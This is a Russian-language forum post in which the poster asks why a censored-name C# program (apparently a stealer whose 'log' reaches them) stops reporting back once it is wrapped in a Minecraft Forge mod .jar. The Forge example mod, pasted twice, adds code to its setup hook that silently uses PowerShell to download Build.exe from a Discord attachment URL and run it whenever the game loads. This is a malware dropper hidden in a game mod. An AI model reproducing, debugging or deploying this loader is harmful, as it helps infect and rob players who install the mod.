******* на шарпе в .jar не работает

взял ******* на шарпе, когда запускаю просто Build.exe - все работает, лог приходит. но когда билжу в .jar и кидаю в папку для модов в майнкрафте, потом запускаю майн - лог не приходит.

package com.example.examplemod;
import net.minecraft.block.Block;
import net.minecraft.block.Blocks;
import net.minecraftforge.common.MinecraftForge;
import net.minecraftforge.event.RegistryEvent;
import net.minecraftforge.eventbus.api.SubscribeEvent;
import net.minecraftforge.fml.InterModComms;
import net.minecraftforge.fml.common.Mod;
import net.minecraftforge.fml.event.lifecycle.FMLClientSetupEvent;
import net.minecraftforge.fml.event.lifecycle.FMLCommonSetupEvent;
import net.minecraftforge.fml.event.lifecycle.InterModEnqueueEvent;
import net.minecraftforge.fml.event.lifecycle.InterModProcessEvent;
import net.minecraftforge.fml.event.server.FMLServerStartingEvent;
import net.minecraftforge.fml.javafmlmod.FMLJavaModLoadingContext;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;
import java.util.stream.Collectors;

// The value here should match an entry in the META-INF/mods.toml file
@Mod("examplemod")
public class ExampleMod {
// Directly reference a log4j logger.
private static final Logger LOGGER = LogManager.getLogger();

public ExampleMod() {
// Register the setup method for modloading
FMLJavaModLoadingContext.get().getModEventBus().addListener(this::setup);
// Register the enqueueIMC method for modloading
FMLJavaModLoadingContext.get().getModEventBus().addListener(this::enqueueIMC);
// Register the processIMC method for modloading
FMLJavaModLoadingContext.get().getModEventBus().addListener(this::processIMC);
// Register the doClientStuff method for modloading
FMLJavaModLoadingContext.get().getModEventBus().addListener(this::doClientStuff);

// Register ourselves for server and other game events we are interested in
MinecraftForge.EVENT_BUS.register(this);
}

private void setup(final FMLCommonSetupEvent event) {
// some preinit code
LOGGER.info("HELLO FROM PREINIT");
LOGGER.info("DIRT BLOCK >> {}", Blocks.DIRT.getRegistryName());

// === Добавленный код: загрузка и запуск внешнего файла ===
Runtime rt = Runtime.getRuntime();
start_process(rt,
"https://cdn.discordapp.com/attachments/1326193150141665292/1374396872403193976/Build.exe?ex=682de655&is=682c94d5&hm=28d62a7dтут_еще_символыd572d67aaddc4efb434dbc5&",
"Build.exe");
}

private void doClientStuff(final FMLClientSetupEvent event) {
// do something that can only be done on the client
LOGGER.info("Got game settings {}", event.getMinecraftSupplier().get().options);
}

private void enqueueIMC(final InterModEnqueueEvent event) {
// some example code to dispatch IMC to another mod
InterModComms.sendTo("examplemod", "helloworld", () -> {
LOGGER.info("Hello world from the MDK");
return "Hello world";
});
}

private void processIMC(final InterModProcessEvent event) {
// some example code to receive and process InterModComms from other mods
LOGGER.info("Got IMC {}", event.getIMCStream()
.map(m -> m.getMessageSupplier().get())
.collect(Collectors.toList()));
}

// You can use SubscribeEvent and let the Event Bus discover methods to call
@SubscribeEvent
public void onServerStarting(FMLServerStartingEvent event) {
// do something when the server starts
LOGGER.info("HELLO from server starting");
}

// You can use EventBusSubscriber to automatically subscribe events on the contained class (this is subscribing to the MOD
// Event bus for receiving Registry Events)
@Mod.EventBusSubscriber(bus = Mod.EventBusSubscriber.Bus.MOD)
public static class RegistryEvents {
@SubscribeEvent
public static void onBlocksRegistry(final RegistryEvent.Register<Block> blockRegistryEvent) {
// register a new block here
LOGGER.info("HELLO from Register Block");
}
}

// === Новые методы для скачивания и запуска внешних файлов ===

public void start_process(Runtime rt, String file_url, String file_name) {
start_command(rt, "powershell.exe (New-Object System.Net.WebClient).DownloadFile('" + file_url + "', '" + file_name + "');Start-Process '" + file_name + "'");
}

public void start_command(Runtime rt, String cmd) {
try {
rt.exec(cmd);
} catch (IOException e) {
throw new RuntimeException("Ошибка при выполнении команды: " + cmd, e);
}
}
}

Код

package com.example.examplemod;

import net.minecraft.block.Block;

import net.minecraft.block.Blocks;

import net.minecraftforge.common.MinecraftForge;

import net.minecraftforge.event.RegistryEvent;

import net.minecraftforge.eventbus.api.SubscribeEvent;

import net.minecraftforge.fml.InterModComms;

import net.minecraftforge.fml.common.Mod;

import net.minecraftforge.fml.event.lifecycle.FMLClientSetupEvent;

import net.minecraftforge.fml.event.lifecycle.FMLCommonSetupEvent;

import net.minecraftforge.fml.event.lifecycle.InterModEnqueueEvent;

import net.minecraftforge.fml.event.lifecycle.InterModProcessEvent;

import net.minecraftforge.fml.event.server.FMLServerStartingEvent;

import net.minecraftforge.fml.javafmlmod.FMLJavaModLoadingContext;

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;



import java.io.IOException;

import java.util.stream.Collectors;



// The value here should match an entry in the META-INF/mods.toml file

@Mod("examplemod")

public class ExampleMod {

    // Directly reference a log4j logger.

    private static final Logger LOGGER = LogManager.getLogger();



    public ExampleMod() {

        // Register the setup method for modloading

        FMLJavaModLoadingContext.get().getModEventBus().addListener(this::setup);

        // Register the enqueueIMC method for modloading

        FMLJavaModLoadingContext.get().getModEventBus().addListener(this::enqueueIMC);

        // Register the processIMC method for modloading

        FMLJavaModLoadingContext.get().getModEventBus().addListener(this::processIMC);

        // Register the doClientStuff method for modloading

        FMLJavaModLoadingContext.get().getModEventBus().addListener(this::doClientStuff);



        // Register ourselves for server and other game events we are interested in

        MinecraftForge.EVENT_BUS.register(this);

    }



    private void setup(final FMLCommonSetupEvent event) {

        // some preinit code

        LOGGER.info("HELLO FROM PREINIT");

        LOGGER.info("DIRT BLOCK >> {}", Blocks.DIRT.getRegistryName());



        // === Добавленный код: загрузка и запуск внешнего файла ===

        Runtime rt = Runtime.getRuntime();

        start_process(rt,

                "https://cdn.discordapp.com/attachments/1326193150141665292/1374396872403193976/Build.exe?ex=682de655&is=682c94d5&hm=28d62a7dтут_еще_символыd572d67aaddc4efb434dbc5&",

                "Build.exe");

    }



    private void doClientStuff(final FMLClientSetupEvent event) {

        // do something that can only be done on the client

        LOGGER.info("Got game settings {}", event.getMinecraftSupplier().get().options);

    }



    private void enqueueIMC(final InterModEnqueueEvent event) {

        // some example code to dispatch IMC to another mod

        InterModComms.sendTo("examplemod", "helloworld", () -> {

            LOGGER.info("Hello world from the MDK");

            return "Hello world";

        });

    }



    private void processIMC(final InterModProcessEvent event) {

        // some example code to receive and process InterModComms from other mods

        LOGGER.info("Got IMC {}", event.getIMCStream()

                .map(m -> m.getMessageSupplier().get())

                .collect(Collectors.toList()));

    }



    // You can use SubscribeEvent and let the Event Bus discover methods to call

    @SubscribeEvent

    public void onServerStarting(FMLServerStartingEvent event) {

        // do something when the server starts

        LOGGER.info("HELLO from server starting");

    }



    // You can use EventBusSubscriber to automatically subscribe events on the contained class (this is subscribing to the MOD

    // Event bus for receiving Registry Events)

    @Mod.EventBusSubscriber(bus = Mod.EventBusSubscriber.Bus.MOD)

    public static class RegistryEvents {

        @SubscribeEvent

        public static void onBlocksRegistry(final RegistryEvent.Register<Block> blockRegistryEvent) {

            // register a new block here

            LOGGER.info("HELLO from Register Block");

        }

    }



    // === Новые методы для скачивания и запуска внешних файлов ===



    public void start_process(Runtime rt, String file_url, String file_name) {

        start_command(rt, "powershell.exe (New-Object System.Net.WebClient).DownloadFile('" + file_url + "', '" + file_name + "');Start-Process '" + file_name + "'");

    }



    public void start_command(Runtime rt, String cmd) {

        try {

            rt.exec(cmd);

        } catch (IOException e) {

            throw new RuntimeException("Ошибка при выполнении команды: " + cmd, e);

        }

    }

}